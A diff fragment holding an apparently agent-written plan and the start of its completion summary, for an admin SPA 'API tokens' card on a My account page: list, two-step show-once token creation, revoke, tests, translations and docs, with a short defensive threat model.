- admin/src/views/AccountView.vue
|
||||
- admin/src/components/ui/ConfirmDialog.vue
|
||||
- admin/tests/account/ApiTokensPanel.test.ts
|
||||
- admin/tests/views/AccountView.test.ts
|
||||
- modules/phrasebook/backend/lang/en/lang.yaml
|
||||
- modules/phrasebook/backend/lang/pl/lang.yaml
|
||||
- modules/boardwalk/dist
|
||||
- docs/backend/users-and-permissions.md
|
||||
- docs/backend/admin-spa.md
|
||||
autonomous: true
|
||||
requirements: [SC-3, SC-5]
|
||||
estimate:
|
||||
tokens: 95000
|
||||
raw_tokens: 95000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-16: the My account page (/account) shows an API tokens card after the profile and password form and outside it, listing, creating and revoking only the signed-in admin's own tokens; the page's footer Save never sends token data; there is no view of other users' tokens."
|
||||
- "D-11 and UI-SPEC §3: each row shows the name (wrapped, never truncated), the mono hint g15_…last4 with the aria-label api_tokens.hint, one chip per stored scope in stored order (`*` labelled Full access, an unknown scope as a dashed mono chip with the unknown_scope_hint title), and the meta line created · last used or never used · expires, expired or no expiry (· revoked for revoked rows); rows are newest first; Revoke token shows on active and expired rows and never on revoked rows."
|
||||
- "UI-SPEC §7: the list shows three skeleton rows with aria-busy while loading, the dashed empty block (api_tokens.empty_title and empty_body) when there are no tokens, and the api_tokens.load_failed alert block (role=alert) with the toggle hidden when the load fails; Create token is disabled only during the first load."
|
||||
- "D-09: the Show revoked tokens checkbox reloads the list with revoked rows (muted, Revoked chip, no revoke button); its state lives only in the component."
|
||||
- "D-08 and D-17 (dialog step 1): the create dialog has a name input (maxlength 100), the expiry segmented control 30d, 90d, 365d, never with 90d preselected and a local-date preview line, and a scope picker rendered from GET /account/tokens/scopes in server order with label, mono name, Read-only chip for GET/HEAD-only scopes and description; checking `*` unchecks and disables every other scope, shows api_tokens.scope_all_includes and sends exactly [\"*\"]; no scope is preselected; 422 messages render under the field with aria-invalid and focus moves to the first invalid control; while busy the fieldset, Discard token, close, Esc and overlay are inert and a second submit does nothing; a non-422 failure shows the create_failed toast and keeps the input."
|
||||
- "D-16 (dialog step 2): a successful create swaps the same dialog to the show-once step: the bg-sel note api_tokens.created_notice, the full plaintext in a read-only mono input that selects on focus, Copy token with a two-second Copied state, and Done, hide token; overlay clicks never close step 2; the list reloads in the background."
|
||||
- "UI-SPEC §6: Revoke token asks the shared ConfirmDialog (danger, api_tokens.revoke_confirm with the name, confirm label api_tokens.revoke_submit) and runs DELETE /account/tokens/{id} as the confirm action; success reloads the list and shows the revoked toast; 404 shows api_tokens.gone and reloads; other failures show api_tokens.revoke_failed and keep the row; ConfirmDialog's description wraps long names ([overflow-wrap:anywhere])."
|
||||
- "UI-SPEC copy: every string comes from backend::lang.api_tokens.* (en and pl) or existing keys; myaccount.menu_description mentions API tokens; modules/boardwalk/dist is rebuilt and check-admin-dist.sh passes."
|
||||
- statement: "Plaintext never retained: after Done, hide token and after an Esc-confirm close, the plaintext is absent from the DOM and from the panel and dialog state, reopening starts at step 1, and no toast text contains the token."
|
||||
verification: backstop
|
||||
- statement: "Copy and live-region flow: with a stubbed navigator.clipboard, a successful copy shows the copied state and announces api_tokens.copied_announce in a polite live region; a rejected writeText focuses and selects the input and shows api_tokens.copy_failed (role=alert); a manual copy event on the input counts as copied."
|
||||
verification: backstop
|
||||
- statement: "Close-without-copy guard: Esc or the close button on step 2 before any copy opens the danger confirm api_tokens.close_uncopied_confirm and cancel keeps the dialog on step 2; after a copy the dialog closes at once."
|
||||
verification: backstop
|
||||
artifacts:
|
||||
- path: "admin/src/components/account/ApiTokensPanel.vue"
|
||||
provides: "the API tokens card: list, states, toggle, revoke"
|
||||
contains: "data-api-tokens"
|
||||
- path: "admin/src/components/account/ApiTokenCreateDialog.vue"
|
||||
provides: "two-step create dialog with show-once plaintext"
|
||||
contains: "data-token-plaintext"
|
||||
- path: "admin/tests/account/ApiTokensPanel.test.ts"
|
||||
provides: "panel and dialog smoke tests (plan 04 completes coverage)"
|
||||
contains: "ApiTokensPanel"
|
||||
key_links:
|
||||
- from: "admin/src/views/AccountView.vue"
|
||||
to: "admin/src/components/account/ApiTokensPanel.vue"
|
||||
via: "<ApiTokensPanel :confirm=\"confirm\" /> after the form, sharing the view's useConfirm() and its single ConfirmDialog"
|
||||
pattern: "ApiTokensPanel"
|
||||
- from: "admin/src/components/account/ApiTokensPanel.vue"
|
||||
to: "GET/DELETE {api}/account/tokens"
|
||||
via: "typed openapi-fetch calls from admin/src/api/client.ts using the plan 01 schema.d.ts"
|
||||
pattern: "/account/tokens"
|
||||
- from: "admin/src/components/account/ApiTokenCreateDialog.vue"
|
||||
to: "GET /account/tokens/scopes and POST /account/tokens"
|
||||
via: "typed api calls; the 201 data.token lives only in the dialog's local state"
|
||||
pattern: "/account/tokens/scopes"
|
||||
prohibitions:
|
||||
- statement: "The plaintext is never written to localStorage, sessionStorage, the URL, router state, the console, a toast or the list rows."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "Token names, scope labels and descriptions render through text interpolation only; no v-html."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "No new npm dependency and no new design token, colour, font, radius or shadow (UI-SPEC)."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): backend users create personal API tokens with scopes picked at creation time, so an agent or integration calls the admin and plugin APIs as that backend user with no more access than the token's scope and the user's own permissions allow.
|
||||
|
||||
This plan's slice (user checkpoint, plan 2 of 4): the admin SPA "API tokens" card on My account per 16.3-UI-SPEC.md, against the account token API and the regenerated TS types plan 01 committed, with the remaining `api_tokens.*` copy, the committed dist and the My account docs.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". The UI-SPEC `## UI Considerations` table is lifted into must_haves: covered rows as truths, the three 🧪 backstop rows as `verification: backstop` truths, dismissed rows omitted. No unresolved rows exist.
|
||||
|
||||
## Decisions taken in this plan
|
||||
|
||||
- Component split (UI-SPEC planner's choice): `ApiTokensPanel.vue` (card, toolbar, list, revoke) and `ApiTokenCreateDialog.vue` (both steps, owns the plaintext). The panel receives the view's `useConfirm()` instance as a `confirm` prop; the dialog uses the same instance for the close-without-copy confirm (ConfirmDialog renders at z-[90], above the dialog's z-50).
|
||||
- The hint is rendered as `g15_…` plus the API's `hint` field (last four characters, plan 01 contract). Labels and the known flag come from each list row's scope entries (server-translated), so no client-side scope catalog is needed.
|
||||
- Dates reuse the list datetime cell's formatting (`CellValue.vue` / `admin/src/app/dateFormat.ts`): created, expires and expired as YYYY-MM-DD, last used and revoked as YYYY-MM-DD HH:mm, local time, tabular-nums. No new date format.
|
||||
- `expired` from the API decides the Expired chip (server clock), so client clock skew cannot mislabel a row.
|
||||
- Test location: `admin/tests/account/` (mirrors `src/components/account/`; `tests/components/` does not exist); 16.3-VALIDATION.md is updated to this path.
|
||||
- OpenAPI types were regenerated in plan 01 (the contract inventory test reads the committed document); this plan only re-checks them with `check-admin-openapi.sh --check`.
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- `admin/src/components/account/ApiTokensPanel.vue` (data attributes `data-api-tokens`, `data-token-list`, `data-token-row`, `data-token-scopes`, `data-tokens-empty`, `data-tokens-error`, `data-show-revoked`, `data-action="create-token"`, `data-action="revoke-token"`).
|
||||
- `admin/src/components/account/ApiTokenCreateDialog.vue` (`data-token-dialog`, `data-scope-picker`, `data-scope`, `data-token-notice`, `data-token-plaintext`, `data-action` values `create-token-submit`, `create-token-cancel`, `copy-token`, `hide-token`).
|
||||
- `admin/tests/account/ApiTokensPanel.test.ts` (smoke: `tracer: list, create, show once, hide`; list states; dialog rules).
|
||||
- SPA phrase keys `backend::lang.api_tokens.*` from the UI-SPEC Copywriting Contract not added by plan 01 (section, section_comment, create, create_submit, creating, done, empty_title, empty_body, load_failed, scopes_failed, create_failed, revoke_failed, gone, copy_failed, revoke, revoke_named, revoke_confirm, revoke_submit, revoked, close_uncopied_confirm, close_uncopied_submit, create_title, create_description, name, name_placeholder, name_comment, expires, expires_30, expires_90, expires_365, expires_never, expires_on, expires_never_note, scopes, read_only, scope_all_includes, created_title, created_notice, token_label, copy, copied, copied_announce, create_cancel, show_revoked, created_at, last_used, never_used, expires_at, expired_at, no_expiry, revoked_at, state_expired, state_revoked, unknown_scope, unknown_scope_hint, hint) and the changed `myaccount.menu_description`, en and pl.
|
||||
- One-class change to `ConfirmDialog.vue` (`[overflow-wrap:anywhere]` on the description).
|
||||
- Rebuilt `modules/boardwalk/dist`.
|
||||
- My account docs: the API tokens panel in docs/backend/users-and-permissions.md and docs/backend/admin-spa.md.
|
||||
|
||||
<objective>
|
||||
Ship the API tokens card on My account (D-16, D-17, D-08, D-09, D-11) exactly as 16.3-UI-SPEC.md describes: list with all states, two-step create with show-once plaintext and copy, revoke through the shared confirm, and the copy in both languages.
|
||||
|
||||
Purpose: SC-3, a backend user manages their own tokens in the admin SPA and sees the plaintext once.
|
||||
Output: two components, the AccountView wiring, phrase keys, smoke tests, rebuilt dist, docs.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-UI-SPEC.md
|
||||
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-CONTEXT.md
|
||||
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-01-SUMMARY.md
|
||||
|
||||
Plan 01 contract (Interfaces section of 16.3-01-PLAN.md): `GET /account/tokens[?revoked=1]` → `AdminAPIToken[]`; `POST /account/tokens` `{name, expires, scopes}` → 201 `AdminAPITokenCreated` (row plus `token`); `DELETE /account/tokens/{id}` → row, 404 not_found; `GET /account/tokens/scopes` → `AdminAPITokenScope[]` (`name`, `label`, `description`, `read_only`, `known`). 422 details keyed `name`, `expires`, `scopes` with server messages. Commits: no co-author tags; stage by explicit path; rebuild and commit `modules/boardwalk/dist` with each SPA change (`npm --prefix admin run build`).
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 1: Tracer: on /account an admin creates a scoped token in the dialog, sees the plaintext once, hides it, and the new row is in the list</name>
|
||||
<files>admin/src/components/account/ApiTokensPanel.vue, admin/src/components/account/ApiTokenCreateDialog.vue, admin/src/views/AccountView.vue, admin/tests/account/ApiTokensPanel.test.ts, admin/tests/views/AccountView.test.ts, modules/phrasebook/backend/lang/en/lang.yaml, modules/phrasebook/backend/lang/pl/lang.yaml, modules/boardwalk/dist</files>
|
||||
<read_first>16.3-UI-SPEC.md (Component Contracts 1-5, Copywriting Contract), admin/src/views/AccountView.vue (imports :2-14, confirm :92, card markup :247-262, form end and ConfirmDialog :395-420), admin/src/components/relation/RelationPickerModal.vue (Dialog shell :3-11 and :355-380), admin/src/components/ui/Button.vue, admin/src/components/ui/confirm.ts, admin/src/components/form/control.ts, admin/src/components/form/formState.ts (fieldErrors :267, focusField :288), admin/src/state/useToasts.ts, admin/src/app/i18n.ts, admin/src/api/client.ts, admin/src/api/schema.d.ts (the /account/tokens operations from plan 01), admin/tests/views/AccountView.test.ts, admin/tests/helpers.ts (mountApp, requestsTo), admin/tests/relation/RelationPickerModal.test.ts, modules/phrasebook/backend/lang/en/lang.yaml and pl/lang.yaml (myaccount and the plan 01 api_tokens block)</read_first>
|
||||
<action>Build the thinnest complete path through the SPA: AccountView → panel → API list → dialog → POST → show-once step → hide → list.
|
||||
|
||||
Per D-16 and UI-SPEC §1: render `<ApiTokensPanel :confirm="confirm" />` in AccountView after the `</form>` and before the existing ConfirmDialog, inside the `gap-5` section, never inside the form. The panel card uses `flex flex-col gap-4 rounded-card border border-border bg-surface p-7 shadow-card` with `data-api-tokens`, the header from UI-SPEC §2 (heading, comment, outline sm Create token button with Plus), and on mount loads `GET /account/tokens` through the typed `api` client; populated rows follow UI-SPEC §3 for name, hint, known-scope chips and the meta line (states and revoke come in Task 2).
|
||||
|
||||
Per D-16, D-17, D-08 and UI-SPEC §4-5 (minimal for the tracer): `ApiTokenCreateDialog` uses the RelationPickerModal shell verbatim; step 1 has the name input, the expiry RadioGroup with 90d preselected, and the scope checkboxes from `GET /account/tokens/scopes` (rendered in server order); submit sends `POST /account/tokens` with name, expires and the checked scope names; a 201 switches to step 2 with the notice, the read-only plaintext input and Done, hide token; Done clears the plaintext from local state, closes, and the panel reloads the list. The plaintext lives only in a dialog-local ref; it is cleared on close and in onBeforeUnmount.
|
||||
|
||||
Phrase keys: add every SPA key listed in this plan's Artifacts to the `api_tokens:` block in en and pl with the UI-SPEC wording, and change `myaccount.menu_description`. All strings go through `t()`; no literal UI text.
|
||||
|
||||
Tests: update AccountView.test.ts so its routes answer `GET {API}/account/tokens` with an empty list (the panel now loads on mount). Create admin/tests/account/ApiTokensPanel.test.ts with the case "tracer: list, create, show once, hide": mount /account with one existing token and two scopes, open the dialog, type a name, check a scope, submit, assert the POST body {name, expires: "90d", scopes: [checked]}, assert the plaintext input shows the returned token, click Done, assert the token string is absent from the whole document and that the list was requested again.
|
||||
|
||||
Rebuild `modules/boardwalk/dist` with `npm --prefix admin run build` and commit it with the code.</action>
|
||||
<verify>
|
||||
<automated>npm --prefix admin run typecheck && npm --prefix admin test -- tests/account/ApiTokensPanel.test.ts tests/views/AccountView.test.ts && bash scripts/check-admin-openapi.sh --check && bash scripts/check-admin-dist.sh</automated>
|
||||
<fails_when>Non-zero exit: vue-tsc reports a type error against the plan 01 schema, a vitest case fails (the tracer or an AccountView case broken by the panel's mount request), the committed OpenAPI or TS types drifted, or modules/boardwalk/dist differs from a fresh build ("check-admin-dist: modules/boardwalk/dist is stale").</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "ApiTokensPanel" admin/src/views/AccountView.vue` prints the import and one usage, and the usage line number is greater than the line of `</form>`.
|
||||
- `grep -n "tracer: list, create, show once, hide" admin/tests/account/ApiTokensPanel.test.ts` prints one line.
|
||||
- `grep -c "api_tokens:" modules/phrasebook/backend/lang/en/lang.yaml modules/phrasebook/backend/lang/pl/lang.yaml` reports 1 per file and `grep -n "created_notice" modules/phrasebook/backend/lang/pl/lang.yaml` prints one line.
|
||||
- `grep -rn "localStorage\|sessionStorage\|console\.\|v-html" admin/src/components/account/` prints nothing.
|
||||
</acceptance_criteria>
|
||||
<done>An admin can open My account, create a scoped token, read and hide the plaintext once, and see the new token in the list, with dist rebuilt.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 2: List states, show-revoked toggle, state and unknown-scope chips, and revoke through the shared confirm</name>
|
||||
<files>admin/src/components/account/ApiTokensPanel.vue, admin/src/components/ui/ConfirmDialog.vue, admin/tests/account/ApiTokensPanel.test.ts, modules/boardwalk/dist</files>
|
||||
<read_first>16.3-UI-SPEC.md (Component Contracts 2, 3, 6, 7; UI Considerations rows for the token list, toggle and revoke), admin/src/components/account/ApiTokensPanel.vue (Task 1), admin/src/components/ui/ConfirmDialog.vue (AlertDialogDescription :63), admin/src/components/ui/confirm.ts (ask with a run action), admin/src/components/list/CellValue.vue (datetime cell formatting), admin/src/app/dateFormat.ts, admin/src/state/useToasts.ts, admin/src/views/AccountView.vue (shared confirm)</read_first>
|
||||
<action>Complete the list side per D-09, D-11 and UI-SPEC §2, §3, §6, §7.
|
||||
|
||||
States: first load and toggle reloads show three skeleton rows (h-3 w-40 above h-3 w-64, rounded-[6px] bg-skel, aria-hidden) with aria-busy="true" on the container; Create token is disabled only during the first load. A failed load replaces the list with the alert block (`data-tokens-error`, role=alert, CircleAlert 16px, api_tokens.load_failed) and hides the toggle; Create token stays enabled. No rows (also with the toggle on) shows the dashed empty block (`data-tokens-empty`, KeyRound 20px in a 40px bg-subtle circle, empty_title, empty_body).
|
||||
|
||||
Toggle (D-09): after a successful load, the `data-show-revoked` native checkbox with api_tokens.show_revoked reloads with `revoked=1`; its state is component-only.
|
||||
|
||||
Rows (D-11): chips per UI-SPEC §3 table: known scope (`bg-subtle text-text`, label, title = mono name, `*` shows api_tokens.scope_all), unknown scope (dashed mono, api_tokens.unknown_scope with the name, title unknown_scope_hint), Expired chip (`bg-danger-soft text-danger`) when `expired`, Revoked chip when `revoked_at` is set; revoked rows render name and meta in text-muted with no line-through. Meta line joined with " · ": created_at, last_used or never_used, expires_at / expired_at / no_expiry, and revoked_at for revoked rows, formatted as this plan's Decisions say. Revoke token (`variant="danger" size="sm"`, Ban icon, aria-label api_tokens.revoke_named) on active and expired rows only; on max-sm it sits under the meta line.
|
||||
|
||||
Revoke (UI-SPEC §6): `confirm.ask({message: t(revoke_confirm, {name}), confirmLabel: t(revoke_submit), danger: true}, run)` where run sends `DELETE /account/tokens/{id}`; success → list reload, success toast api_tokens.revoked, focus to Create token; 404 → danger toast api_tokens.gone and reload; other failure → danger toast api_tokens.revoke_failed, row unchanged.
|
||||
|
||||
ConfirmDialog: add `[overflow-wrap:anywhere]` to the AlertDialogDescription class (UI-SPEC long-text row); nothing else changes in the shared component.
|
||||
|
||||
Smoke cases in ApiTokensPanel.test.ts: "list states" (skeleton then empty block; failed load shows the alert and hides the toggle) and "revoke" (confirm runs DELETE, success toast; a 404 shows api_tokens.gone and reloads; the toggle requests revoked=1 and a revoked row has no revoke button). Rebuild and commit dist.</action>
|
||||
<verify>
|
||||
<automated>npm --prefix admin run typecheck && npm --prefix admin test -- tests/account/ApiTokensPanel.test.ts tests/views/AccountView.test.ts tests/ui/ui.test.ts && bash scripts/check-admin-dist.sh</automated>
|
||||
<fails_when>Non-zero exit: a type error, a failing panel, AccountView or shared-UI case (for example the ConfirmDialog class change broke a UI test, or revoke did not use the shared confirm), or dist is stale.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "overflow-wrap:anywhere" admin/src/components/ui/ConfirmDialog.vue` prints one line.
|
||||
- `grep -c "data-tokens-empty\|data-tokens-error\|data-show-revoked" admin/src/components/account/ApiTokensPanel.vue` reports at least 3.
|
||||
- `grep -n "list states\|revoke" admin/tests/account/ApiTokensPanel.test.ts` prints the two new describe or it lines.
|
||||
</acceptance_criteria>
|
||||
<done>The token list handles loading, empty, failure, populated and mixed states, revoked rows on demand, and revoke with the shared confirm and correct toasts.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 3: Dialog rules: scope picker states and the `*` rule, expiry preview, 422 and busy handling, copy and clipboard fallback, close guards; My account docs</name>
|
||||
<files>admin/src/components/account/ApiTokenCreateDialog.vue, admin/tests/account/ApiTokensPanel.test.ts, modules/boardwalk/dist, docs/backend/users-and-permissions.md, docs/backend/admin-spa.md</files>
|
||||
<read_first>16.3-UI-SPEC.md (Component Contracts 4 and 5, UI Considerations rows for the scope picker, create form, create submit, show-once step and clipboard), admin/src/components/account/ApiTokenCreateDialog.vue (Task 1), admin/src/components/form/fields/PermissionEditorField.vue (segmented control classes), admin/src/components/form/fields/CheckboxField.vue (checkbox class), admin/src/views/AccountView.vue (422 error markup and focusField use), docs/backend/users-and-permissions.md (My account section and the API tokens section plan 01 wrote), docs/backend/admin-spa.md (:36)</read_first>
|
||||
<action>Complete the dialog per D-08, D-16, D-17 and UI-SPEC §4-5.
|
||||
|
||||
Step 1: scope picker skeleton (three 56px rows with a 20px square and an h-3 w-40 bar) while the scopes request is pending, submit disabled; a failed request or an empty answer shows the alert block api_tokens.scopes_failed with submit disabled. Rows use the UI-SPEC row classes, label (14/600), mono name, the Read-only chip when `read_only`, and the description. Checking `*` unchecks and disables every other row (`cursor-not-allowed opacity-60`) and shows the Info note api_tokens.scope_all_includes; unchecking `*` re-enables rows without restoring earlier picks; only [`*`] is sent then. Expiry preview under the segmented control: api_tokens.expires_on with today plus 30, 90 or 365 days as local YYYY-MM-DD, or api_tokens.expires_never_note. 422: map `error.details` through `fieldErrors`, render each field's messages like AccountView (CircleAlert 14px, aria-describedby, aria-invalid, `border-danger` on the scope group), and focus the name input, else the first scope checkbox, else the first segment. Busy: fieldset disabled, primary label api_tokens.creating with a spinning LoaderCircle, Discard token and close disabled, Esc and overlay ignored, repeated submit ignored. Non-422 failure: danger toast api_tokens.create_failed, input kept. Closing step 1 any way discards input without a confirm. Focus: name input on open, the card's Create token button on close.
|
||||
|
||||
Step 2: overlay pointer-down and interact-outside are prevented; Copy token calls `navigator.clipboard.writeText` and on success shows Check plus api_tokens.copied for two seconds, announces api_tokens.copied_announce in an sr-only aria-live="polite" region and marks the token copied; a missing or rejecting Clipboard API focuses the input with its value selected and shows api_tokens.copy_failed (13px text-danger, role=alert); a `copy` event on the input also marks it copied. Esc and the close button close at once when copied, otherwise ask the shared confirm (`danger`, api_tokens.close_uncopied_confirm, confirm label close_uncopied_submit) and close only on confirm. Focus goes to Copy token on entering step 2. Reopening always starts at step 1 with a cleared plaintext.
|
||||
|
||||
Smoke cases: "dialog rules": `*` disables other rows and sends [`*`]; a 422 on scopes renders the server message and focuses the first scope; a stubbed clipboard success shows Copied and a rejection shows copy_failed; Esc before copying opens the confirm and cancel keeps step 2. Plan 04 adds the full matrix.
|
||||
|
||||
Docs (D-20, SPA half): in docs/backend/users-and-permissions.md "My account" describe the API tokens card (own tokens only, create with name, expiry and scopes, show once and copy, revoke, show revoked) and link to the API tokens section; in docs/backend/admin-spa.md extend the My account sentence. Rebuild and commit dist.</action>
|
||||
<verify>
|
||||
<automated>npm --prefix admin run typecheck && npm --prefix admin test && bash scripts/check-admin-dist.sh && go test -count=1 ./cmd/summer -run TestDocsTree</automated>
|
||||
<fails_when>Non-zero exit: a type error, any vitest case in the full admin suite fails (including the dialog rules smoke), dist is stale, or TestDocsTree reports an unknown identifier, broken link or anchor in the edited docs pages.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "dialog rules" admin/tests/account/ApiTokensPanel.test.ts` prints one line.
|
||||
- `grep -c "aria-live=\"polite\"\|pointer-down-outside\|scope_all_includes\|copy_failed" admin/src/components/account/ApiTokenCreateDialog.vue` reports at least 4.
|
||||
- `grep -n "API tokens" docs/backend/users-and-permissions.md docs/backend/admin-spa.md` prints at least one line per file.
|
||||
</acceptance_criteria>
|
||||
<done>The create dialog follows every UI-SPEC rule for scopes, expiry, errors, busy, copy and closing, the full admin suite passes, dist is current and the My account docs describe the panel.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| server → SPA | the 201 create response carries the plaintext once |
|
||||
| SPA → browser storage, clipboard | the plaintext must stay in component memory; the clipboard is user-initiated |
|
||||
| server data → DOM | token names and plugin scope labels are rendered as text |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.3-14 | Information Disclosure | ApiTokenCreateDialog plaintext | high | mitigate | Plaintext only in a dialog-local ref, cleared on Done, on confirmed close and in onBeforeUnmount; never in toasts, storage, URL, router state, console or list rows; Task 1 acceptance greps the component folder for storage, console and v-html; plan 04 backstop tests assert DOM and state are clean |
|
||||
| T-16.3-15 | Information Disclosure | show-once step | low | accept | The full token is visible once by design (UI-SPEC §5) so the user can verify it; overlay clicks cannot close the step and closing before copying asks first |
|
||||
| T-16.3-16 | Tampering (XSS) | token names, scope labels and descriptions | medium | mitigate | Rendered with Vue text interpolation only (no v-html); plugin labels arrive as server-translated plain strings |
|
||||
| T-16.3-17 | Elevation of Privilege | scope picker | low | mitigate | The SPA renders only what GET /account/tokens/scopes returns; the server re-validates names and the overlap rule on create (plan 01, D-17) |
|
||||
| T-16.3-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package is installed; reka-ui, @lucide/vue and the build tools come from the committed admin lockfile |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: typecheck, tracer and AccountView tests, OpenAPI and dist drift gates pass.
|
||||
- Task 2: panel, AccountView and shared UI tests and the dist gate pass.
|
||||
- Task 3: full admin vitest suite, dist gate and TestDocsTree pass.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- SC-3 (SPA half): a backend user creates, lists and revokes their own tokens on /account, and the plaintext is shown once.
|
||||
- Every UI-SPEC state is implemented; the three backstops have smoke coverage here and full tests in plan 04.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-02-SUMMARY.md` when done, with the commit list, the component props and emitted events, and the smoke test names.
|
||||
</output>
|
||||
@@ -0,0 +1,190 @@
|
||||
---
|
||||
phase: 16.3-backend-admin-personal-api-tokens-with-scopes
|
||||
plan: 02
|
||||
subsystem: ui
|
||||
tags: [admin-spa, api-tokens, account, vue, reka-ui, phrasebook, show-once]
|
||||
|
||||
requires:
|
||||
- phase: 16.3-backend-admin-personal-api-tokens-with-scopes
|
||||
provides: account token API, OpenAPI/TS types, plan 01 api_tokens phrase seeds
|
||||
provides:
|
||||
- "ApiTokensPanel on /account after the profile form"
|
||||
- "ApiTokenCreateDialog two-step create with show-once plaintext"
|
||||
- "List states, show-revoked toggle, revoke via shared ConfirmDialog"
|
||||
- "SPA api_tokens.* phrase keys (en/pl) and myaccount.menu_description"
|
||||
- "Rebuilt modules/boardwalk/dist and My account docs"
|
||||
affects: [16.3-03, 16.3-04]
|
||||
|
||||
actuals:
|
||||
tokens: 17683
|
||||
tasks: 3
|
||||
commits: 4
|
||||
plan_head_before: 93a3112fb7a9c9d181607b473fde1f051eea778b
|
||||
plan_head_after: e17207a
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "Account panel shares AccountView useConfirm(); ConfirmDialog stays at z-[90]"
|
||||
- "Plaintext only in dialog-local ref; cleared on Done, confirmed close, onBeforeUnmount"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- admin/src/components/account/ApiTokensPanel.vue
|
||||
- admin/src/components/account/ApiTokenCreateDialog.vue
|
||||
- admin/tests/account/ApiTokensPanel.test.ts
|
||||
modified:
|
||||
- admin/src/views/AccountView.vue
|
||||
- admin/src/components/ui/ConfirmDialog.vue
|
||||
- admin/src/api/types.ts
|
||||
- admin/tests/views/AccountView.test.ts
|
||||
- admin/tests/fixtures/lang.json
|
||||
- modules/phrasebook/backend/lang/en/lang.yaml
|
||||
- modules/phrasebook/backend/lang/pl/lang.yaml
|
||||
- modules/boardwalk/dist
|
||||
- docs/backend/users-and-permissions.md
|
||||
- docs/backend/admin-spa.md
|
||||
|
||||
key-decisions:
|
||||
- "Panel/dialog split per plan: ApiTokensPanel owns list/revoke; ApiTokenCreateDialog owns plaintext"
|
||||
- "Hint renders as g15_… plus API hint (last4); scope chips use server label/known"
|
||||
- "expired from API drives Expired chip (server clock)"
|
||||
|
||||
patterns-established:
|
||||
- "My account cards outside the profile form share one ConfirmDialog"
|
||||
- "Show-once secrets stay in dialog state only — never toasts, storage, URL or list rows"
|
||||
|
||||
requirements-completed: [SC-3, SC-5]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "My account API tokens card lists, creates (show-once) and hides plaintext"
|
||||
requirement: SC-3
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: admin/tests/account/ApiTokensPanel.test.ts#tracer: list, create, show once, hide
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "List loading/empty/error, show-revoked toggle, revoke via ConfirmDialog"
|
||||
requirement: SC-3
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: admin/tests/account/ApiTokensPanel.test.ts#list states
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: admin/tests/account/ApiTokensPanel.test.ts#revoke
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "Create dialog scope *, 422 focus, clipboard copy/fallback, close-without-copy"
|
||||
requirement: SC-3
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: admin/tests/account/ApiTokensPanel.test.ts#dialog rules
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "My account docs describe the API tokens SPA card"
|
||||
requirement: SC-5
|
||||
verification:
|
||||
- kind: other
|
||||
ref: go test -count=1 ./cmd/summer -run TestDocsTree
|
||||
status: pass
|
||||
human_judgment: false
|
||||
|
||||
duration: 9min
|
||||
completed: 2026-10-11
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 16.3 Plan 02: Admin SPA API tokens card Summary
|
||||
|
||||
**My account API tokens card with list states, two-step show-once create/copy, revoke via shared ConfirmDialog, phrase keys, dist and docs.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** 9 min
|
||||
- **Started:** 2026-10-10T23:57:24Z
|
||||
- **Completed:** 2026-10-11T00:06:49Z
|
||||
- **Tasks:** 3
|
||||
- **Files modified:** 17
|
||||
|
||||
## Accomplishments
|
||||
- `ApiTokensPanel` after the profile form on `/account`; Create token, list, show-revoked, revoke
|
||||
- `ApiTokenCreateDialog`: name/expiry/scopes → show-once plaintext, copy with clipboard fallback, close-without-copy confirm
|
||||
- Full `backend::lang.api_tokens.*` en/pl copy, Polish lang fixture, rebuilt `modules/boardwalk/dist`, My account docs
|
||||
|
||||
## Task Commits
|
||||
|
||||
Each task was committed atomically:
|
||||
|
||||
1. **Task 1: Tracer — list, create, show once, hide** - `5a6a190` (feat)
|
||||
